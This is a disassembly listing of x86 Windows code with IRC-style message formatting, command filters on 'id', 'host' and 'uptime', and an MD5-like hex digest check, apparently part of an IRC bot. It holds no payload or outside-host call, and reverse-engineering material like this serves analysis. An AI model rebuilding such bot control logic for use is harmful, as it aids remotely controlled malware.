; =============== S U B R O U T I N E ======================================= sub_412940 proc near ; CODE XREF: sub_40158Cj arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax nop call near ptr 71AB428Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_41299E mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_41299E: ; CODE XREF: sub_412940+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_412940 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4129D0 proc near ; CODE XREF: sub_401E24j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_40158C add esp, 2000h retn sub_4129D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412A40 proc near ; CODE XREF: sub_401118j var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_412A40 push eax mov al, [esp+0Ch+arg_0] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_412A77 xor al, al pop esi mov ecx, [esp+3Ch+var_C] mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- loc_412A77: ; CODE XREF: sub_412A40+21j lea ecx, [esp+40h+var_3C] call sub_40142E mov al, [esp+40h+arg_4] mov [esp+40h+var_4], 0 test al, al jz short loc_412A98 mov eax, dword_4490C0 push eax jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412A98: ; CODE XREF: sub_412A40+4Ej mov ecx, dword_4490C8 push ecx loc_412A9F: ; CODE XREF: sub_412A40+56j lea ecx, [esp+44h+var_3C] call sub_4015E1 push ebx lea ecx, [esp+44h+var_24] call sub_40142E mov edx, [esp+44h+arg_8] mov eax, [esp+44h+arg_C] push edx push eax lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], 1 call sub_4017EE push eax lea ecx, [esp+50h+var_24] push offset aSSS_1 ; "%s %s :%s\r\n" push ecx call sub_40102D add esp, 14h lea ecx, [esp+44h+var_24] call sub_4014DD push eax mov ecx, esi call sub_40158C lea ecx, [esp+44h+var_24] mov bl, al mov byte ptr [esp+44h+var_4], 0 call sub_401226 lea ecx, [esp+44h+var_3C] mov [esp+44h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+44h+var_C] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h sub_412A40 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412B70 proc near ; CODE XREF: sub_401857j arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov eax, 2000h call sub_437B30 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 2000h push edx nop call near ptr 77C3FF8Ah mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_401118 add esp, 2000h retn sub_412B70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412BF0 proc near ; CODE XREF: sub_401D20j push esi mov esi, ecx call sub_401FD7 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_412BF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C20 proc near ; CODE XREF: sub_401FD7j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax nop call near ptr 71AB9639h mov ecx, offset word_44AC5E mov dword ptr [esi+18h], 0FFFFFFFFh call sub_401541 pop esi retn sub_412C20 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412C60 proc near ; CODE XREF: sub_40172Bj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_412C60 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412C90 proc near ; CODE XREF: sub_401B68j push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401717 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_401294 sub_412C90 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_412CE0 proc near ; CODE XREF: sub_401F1Ej var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_412CE0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B sub_412CE0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_412D80: ; CODE XREF: ___:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push offset loc_43AC4E push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_4017EE push eax mov ecx, ebp call sub_4012EE test eax, eax jnz loc_4130A6 push ebx push edi push offset asc_444600 ; " " lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_4016B8 push offset asc_444600 ; " " lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_4016B8 push offset asc_444600 ; " " lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_4016B8 push offset asc_444600 ; " " lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_4016B8 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_4013E3 lea ecx, [esp+28h] mov ebx, eax call sub_4013E3 lea ecx, [esp+40h] add ebx, eax call sub_4013E3 mov ecx, edi add ebx, eax call sub_4013E3 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401E47 push offset asc_444600 ; " " lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_4016B8 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov [esp+0B0h], bl call sub_401E47 push eax mov ecx, ebp mov byte ptr [esp+0ACh], 6 call sub_40202C lea ecx, [esp+70h] mov [esp+0A8h], bl call sub_401226 mov byte ptr [esp+0A8h], 4 lea ecx, [esp+88h] call sub_401226 lea edx, [esp+58h] mov ecx, esi push edx call sub_40202C push offset asc_444D14 ; "!=" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F05 xor edi, edi loc_412F05: ; CODE XREF: ___:00412F01j push offset asc_444D10 ; "==" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F1C mov edi, 1 loc_412F1C: ; CODE XREF: ___:00412F15j push offset asc_444D0C ; ">" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F33 mov edi, 2 loc_412F33: ; CODE XREF: ___:00412F2Cj push offset asc_444D08 ; "<" lea ecx, [esp+2Ch] call sub_4012EE test eax, eax jnz short loc_412F4A mov edi, 3 loc_412F4A: ; CODE XREF: ___:00412F43j push offset aId ; "id" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FA4 test edi, edi jnz short loc_412F7A lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jz short loc_412FA4 jmp short loc_412F97 ; --------------------------------------------------------------------------- loc_412F7A: ; CODE XREF: ___:00412F5Ej cmp edi, 1 jnz short loc_412FA4 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset word_44955A call sub_4012EE test eax, eax jnz short loc_412FA4 loc_412F97: ; CODE XREF: ___:00412F78j push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_412FA4: ; CODE XREF: ___:00412F5Aj ; ___:00412F76j ... push offset aHost ; "host" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_412FF7 test edi, edi jnz short loc_412FD8 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jnz loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FD8: ; CODE XREF: ___:00412FB8j cmp edi, 1 jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, offset byte_4D809D call sub_4013ED test eax, eax jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_412FF7: ; CODE XREF: ___:00412FB4j push offset aUptime ; "uptime" lea ecx, [esp+44h] call sub_4012EE test eax, eax jnz short loc_413059 lea ecx, [esp+10h] call sub_4017EE push eax nop call near ptr 77C1BF18h add esp, 4 mov ebx, eax call sub_40165E test edi, edi jnz short loc_41302D cmp eax, ebx jz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_41302D: ; CODE XREF: ___:00413025j cmp edi, 1 jnz short loc_413038 cmp eax, ebx jnz short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413038: ; CODE XREF: ___:00413030j cmp edi, 2 jnz short loc_413043 cmp eax, ebx jle short loc_413059 jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413043: ; CODE XREF: ___:0041303Bj cmp edi, 3 jnz short loc_413059 cmp eax, ebx jge short loc_413059 loc_41304C: ; CODE XREF: ___:00412FD6j ; ___:00412FF5j ... push 0 push esi mov ecx, offset byte_449277 call sub_401A41 loc_413059: ; CODE XREF: ___:00412FD0j ; ___:00412FDBj ... lea ecx, [esp+58h] mov byte ptr [esp+0A8h], 2 call sub_401226 lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 1 call sub_401226 lea ecx, [esp+28h] mov byte ptr [esp+0A8h], 0 call sub_401226 lea ecx, [esp+40h] mov dword ptr [esp+0A8h], 0FFFFFFFFh call sub_401226 pop edi mov al, 1 pop ebx jmp short loc_4130A8 ; --------------------------------------------------------------------------- loc_4130A6: ; CODE XREF: ___:00412DB9j mov al, 1 loc_4130A8: ; CODE XREF: ___:004130A4j mov ecx, [esp+98h] pop esi pop ebp mov large fs:0, ecx add esp, 9Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4131B0 proc near ; CODE XREF: sub_40165Ej nop call near ptr 27E0B10h mov ecx, eax mov eax, 10624DD3h mul ecx mov ecx, edx mov eax, 0C22E4507h shr ecx, 6 imul ecx mov eax, edx add eax, ecx sar eax, 10h mov edx, eax shr edx, 1Fh add eax, edx retn sub_4131B0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4131F0 proc near ; CODE XREF: sub_402018j var_12 = byte ptr -12h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4131F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi mov esi, ecx push edi mov [esp+20h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401753 lea ecx, [esi+32h] mov [esp+20h+var_4], 0 call sub_401753 lea edi, [esi+60h] lea eax, [esp+20h+var_12] push eax mov ecx, edi mov byte ptr [esp+24h+var_4], 1 call sub_401F23 sub_4131F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+0Fh] lea ebx, [esi+6Ch] push ecx mov ecx, ebx mov byte ptr [esp+20h], 2 call sub_401852 ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+1Ch], 3 mov dword ptr [esi], offset off_43F044 call sub_401933 mov ecx, ebx call sub_401C76 mov ecx, [esp+14h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132C0 proc near ; CODE XREF: sub_401D0Cj ___:00401E29j push esi mov esi, ecx call sub_401CA3 sub_4132C0 endp ; --------------------------------------------------------------------------- test byte ptr [esp+8], 1 jz short loc_4132D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4132D8: ; CODE XREF: ___:004132CDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4132F0 proc near ; CODE XREF: sub_401CA3j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4132F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ebx push esi mov esi, ecx push edi mov [esp+1Ch+var_10], esi mov dword ptr [esi], offset off_43F044 lea edi, [esi+60h] mov [esp+1Ch+var_4], 3 mov ecx, edi call sub_401933 lea ebx, [esi+6Ch] mov ecx, ebx call sub_401C76 mov ecx, ebx mov byte ptr [esp+1Ch+var_4], 2 call sub_4014BF sub_4132F0 endp ; --------------------------------------------------------------------------- mov ecx, edi mov byte ptr [esp+18h], 1 call sub_4011B8 ; --------------------------------------------------------------------------- lea ecx, [esi+32h] mov byte ptr [esp+18h], 0 call sub_401023 lea ecx, [esi+4] mov dword ptr [esp+18h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+10h] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4133B0 proc near ; CODE XREF: sub_401A05j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4133B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push 0 push 14h push 15h push 0Fh push 7 push 0Fh lea eax, [esp+58h+var_3C] push 0Ch mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+44h+var_4], 0 call sub_4017EE lea ecx, [esi+32h] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_4133B0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 push 0 push 14h push 5 lea edx, [esp+28h] push 13h push edx call sub_4019C4 add esp, 14h push esi mov ecx, eax mov dword ptr [esp+40h], 1 call sub_4017EE add esi, 4 push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+1Ch] mov dword ptr [esp+3Ch], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h] pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4134A0 proc near ; CODE XREF: sub_401CE4j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4134A0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0 call sub_4017EE test eax, eax jz short loc_413547 lea ecx, [esp+18h+var_14] call sub_402275 add esi, 6Ch lea eax, [esp+18h+var_10] push eax mov ecx, esi call sub_401901 mov ecx, [eax] lea edx, [esp+18h+var_10] mov [esp+18h+var_14], ecx push edx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jz short loc_413547 loc_413508: ; CODE XREF: sub_4134A0+A5j lea eax, [esp+18h+arg_0] lea ecx, [esp+18h+var_14] push eax call sub_40135C mov ecx, [eax] add ecx, 19h call sub_401B86 test eax, eax lea ecx, [esp+18h+var_14] jz short loc_41356C call sub_40118B lea ecx, [esp+18h+var_10] push ecx mov ecx, esi call sub_40114A push eax lea ecx, [esp+1Ch+var_14] call sub_401339 test al, al jnz short loc_413508 loc_413547: ; CODE XREF: sub_4134A0+2Ej ; sub_4134A0+66j lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax pop esi mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 18h ; --------------------------------------------------------------------------- loc_41356C: ; CODE XREF: sub_4134A0+86j call sub_40135C mov esi, [eax] lea ecx, [esp+18h+arg_0] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 18h sub_4134A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4135E0 proc near ; CODE XREF: sub_402130j var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push offset SEH_4135E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push ebp push esi push edi mov ebx, ecx lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0 call sub_4017EE test eax, eax jz loc_4136B3 lea ecx, [esp+28h+var_18] call sub_401037 lea ebp, [ebx+60h] lea eax, [esp+28h+var_14] push eax mov ecx, ebp call sub_401992 mov ecx, [eax] lea edx, [esp+28h+var_14] mov [esp+28h+var_18], ecx push edx mov ecx, ebp call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jz short loc_4136B3 loc_41364F: ; CODE XREF: sub_4135E0+D1j lea ecx, [esp+28h+var_18] call sub_4011D1 mov edi, [eax] sub esp, 18h lea eax, [esp+40h+arg_0] mov ecx, esp mov [esp+40h+var_10], esp push eax call sub_4014D3 mov ecx, ebx call sub_401CE4 mov esi, eax test esi, esi jz short loc_41367C mov edi, [esi] loc_41367C: ; CODE XREF: sub_4135E0+98j lea ecx, [esp+28h+arg_0] push ecx mov ecx, edi call sub_401B86 test eax, eax jz short loc_4136DB test esi, esi jnz short loc_4136DB lea ecx, [esp+28h+var_18] call sub_4018C5 lea edx, [esp+28h+var_14] mov ecx, ebp push edx call sub_402257 push eax lea ecx, [esp+2Ch+var_18] call sub_401AEB test al, al jnz short loc_41364F loc_4136B3: ; CODE XREF: sub_4135E0+31j ; sub_4135E0+6Dj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 xor eax, eax loc_4136C6: ; CODE XREF: sub_4135E0+10Ej mov ecx, [esp+28h+var_C] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_4136DB: ; CODE XREF: sub_4135E0+AAj ; sub_4135E0+AEj lea ecx, [esp+28h+arg_0] mov [esp+28h+var_4], 0FFFFFFFFh call sub_401226 mov eax, edi jmp short loc_4136C6 sub_4135E0 endp ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_413740 proc near ; CODE XREF: sub_401F64j var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413740 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 lea ecx, [esp+14h+arg_0] mov [esp+14h+var_4], 1 call sub_4017EE test eax, eax jz short loc_4137E4 lea ecx, [esp+14h+var_14] call sub_401E38 lea eax, [esp+14h+var_10] lea ecx, [esp+14h+arg_18] push eax call sub_4012E9 mov ecx, [eax] lea edx, [esp+14h+var_10] mov [esp+14h+var_14], ecx push edx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jz short loc_4137E4 loc_4137A6: ; CODE XREF: sub_413740+A2j lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_14] push eax call sub_401FC3 mov ecx, [eax] call sub_401B86 test eax, eax jz short loc_413816 lea ecx, [esp+14h+var_14] call sub_4020C2 lea ecx, [esp+14h+var_10] push ecx lea ecx, [esp+18h+arg_18] call sub_401D9D push eax lea ecx, [esp+18h+var_14] call sub_401D70 test al, al jnz short loc_4137A6 loc_4137E4: ; CODE XREF: sub_413740+2Bj ; sub_413740+64j lea ecx, [esp+14h+arg_0] mov byte ptr [esp+14h+var_4], 0 call sub_401226 lea ecx, [esp+14h+arg_18] mov [esp+14h+var_4], 0FFFFFFFFh call sub_401582 ; --------------------------------------------------------------------------- xor eax, eax mov ecx, [esp+14h+var_C] mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- loc_413816: ; CODE XREF: sub_413740+7Dj push esi lea ecx, [esp+18h+var_14] call sub_401FC3 mov esi, [eax] lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401582 sub_413740 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn 24h ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4138B0 proc near ; CODE XREF: sub_4011DBj var_A4 = byte ptr -0A4h var_8C = byte ptr -8Ch var_74 = byte ptr -74h var_64 = byte ptr -64h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = dword ptr 1Ch push 0FFFFFFFFh push offset SEH_4138B0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 98h push esi xor esi, esi lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], esi call sub_4017EE test eax, eax jz loc_4139E3 lea eax, [esp+0A8h+var_64] push eax call sub_401A69 add esp, 4 lea ecx, [esp+0A8h+var_A4] call sub_40142E push offset byte_448F30 lea ecx, [esp+0ACh+var_A4] mov byte ptr [esp+0ACh+var_4], 1 call sub_4015E1 lea ecx, [esp+0A8h+arg_0] call sub_4013E3 push eax lea ecx, [esp+0ACh+arg_0] call sub_4014DD lea ecx, [esp+0ACh+var_64] push eax push ecx call sub_401C26 lea edx, [esp+0B4h+var_64] lea eax, [esp+0B4h+var_74] push edx push eax call sub_402176 add esp, 14h loc_41394B: ; CODE XREF: sub_4138B0+E8j lea ecx, [esp+0A8h+var_8C] call sub_40142E xor ecx, ecx lea edx, [esp+0A8h+var_8C] mov cl, [esp+esi+0A8h+var_74] mov byte ptr [esp+0A8h+var_4], 2 push ecx push offset a2_2x ; "%2.2X" push edx call sub_40102D add esp, 0Ch lea eax, [esp+0A8h+var_8C] lea ecx, [esp+0A8h+var_A4] push eax call sub_4016C7 lea ecx, [esp+0A8h+var_8C] mov byte ptr [esp+0A8h+var_4], 1 call sub_401226 inc esi cmp esi, 10h jl short loc_41394B mov edx, [esp+0A8h+arg_18] lea ecx, [esp+0A8h+var_A4] push ecx lea ecx, [edx+15h] call sub_401B86 test eax, eax mov byte ptr [esp+0A8h+var_4], 0 lea ecx, [esp+0A8h+var_A4] jnz short loc_4139DE call sub_401226 lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 jmp short loc_4139FC ; --------------------------------------------------------------------------- loc_4139DE: ; CODE XREF: sub_4138B0+10Cj call sub_401226 loc_4139E3: ; CODE XREF: sub_4138B0+33j lea ecx, [esp+0A8h+arg_0] mov [esp+0A8h+var_4], 0FFFFFFFFh call sub_401226 xor al, al loc_4139FC: ; CODE XREF: sub_4138B0+12Cj mov ecx, [esp+0A8h+var_C] pop esi mov large fs:0, ecx add esp, 0A4h retn 1Ch sub_4138B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413A80 proc near ; CODE XREF: sub_40192Ej var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_14 = dword ptr -14h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_18 = byte ptr 1Ch push 0FFFFFFFFh push offset SEH_413A80 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx sub esp, 18h lea eax, [esp+30h+arg_18] mov ecx, esp mov [esp+30h+var_14], esp push eax mov [esp+34h+var_4], 1 call sub_4014D3 mov ecx, esi call sub_402130 test eax, eax jz short loc_413B2E sub esp, 0Ch add eax, 54h mov ecx, esp mov [esp+24h+var_14], esp push eax call sub_401726 ; --------------------------------------------------------------------------- sub esp, 18h lea edx, [esp+40h] mov ecx, esp mov [esp+40h+var_14], esp push edx mov [esp+44h+var_8], 2 call sub_4014D3 mov ecx, esi mov [esp+40h+var_8], 1 call sub_401F64 ; --------------------------------------------------------------------------- test eax, eax jz short loc_413B2E lea ecx, [esp+40h+var_24] mov byte ptr [esp+40h+var_2C], 0 call sub_401226 lea ecx, [esp+40h+var_C] mov [esp+40h+var_2C], 0FFFFFFFFh call sub_401226 mov al, 1 mov ecx, [esp+40h+var_34] mov large fs:0, ecx pop esi add esp, 14h retn 30h ; --------------------------------------------------------------------------- loc_413B2E: ; CODE XREF: sub_413A80+3Fj ; sub_413A80+79j lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 0 call sub_401226 lea ecx, [esp+18h+arg_18] mov [esp+18h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+18h+var_C] xor al, al mov large fs:0, ecx pop esi add esp, 14h retn 30h sub_413A80 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_413BB0: ; CODE XREF: ___:00401393j push 0FFFFFFFFh push offset loc_43AE08 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+18h] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+1Ch], esp push eax call sub_401870 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+4Ch], esp push edx mov dword ptr [esp+44h], 0 call sub_401870 mov ecx, esi mov dword ptr [esp+40h], 0FFFFFFFFh call sub_40192E mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_413C40 proc near ; CODE XREF: sub_401181j var_3C = byte ptr -3Ch var_20 = byte ptr -20h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_4 = byte ptr 8 arg_18 = dword ptr 1Ch arg_1C = dword ptr 20h push 0FFFFFFFFh push offset SEH_413C40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp mov ebp, [esp+48h+arg_18] xor ebx, ebx cmp ebp, ebx mov [esp+48h+var_4], ebx jz loc_413D89 lea ecx, [esp+48h+arg_0] call sub_4017EE test eax, eax jz loc_413D89 push esi push edi push offset asc_444C64 ; ":" lea eax, [esp+54h+var_3C] push ebx push eax lea ecx, [esp+5Ch+arg_0] xor esi, esi call sub_4016B8 push offset byte_448F30 mov ecx, eax mov byte ptr [esp+54h+var_4], 1 call sub_4012EE lea ecx, [esp+50h+var_3C] mov edi, eax mov byte ptr [esp+50h+var_4], bl call sub_401226 cmp edi, ebx jz loc_413D63 add ebp, 54h 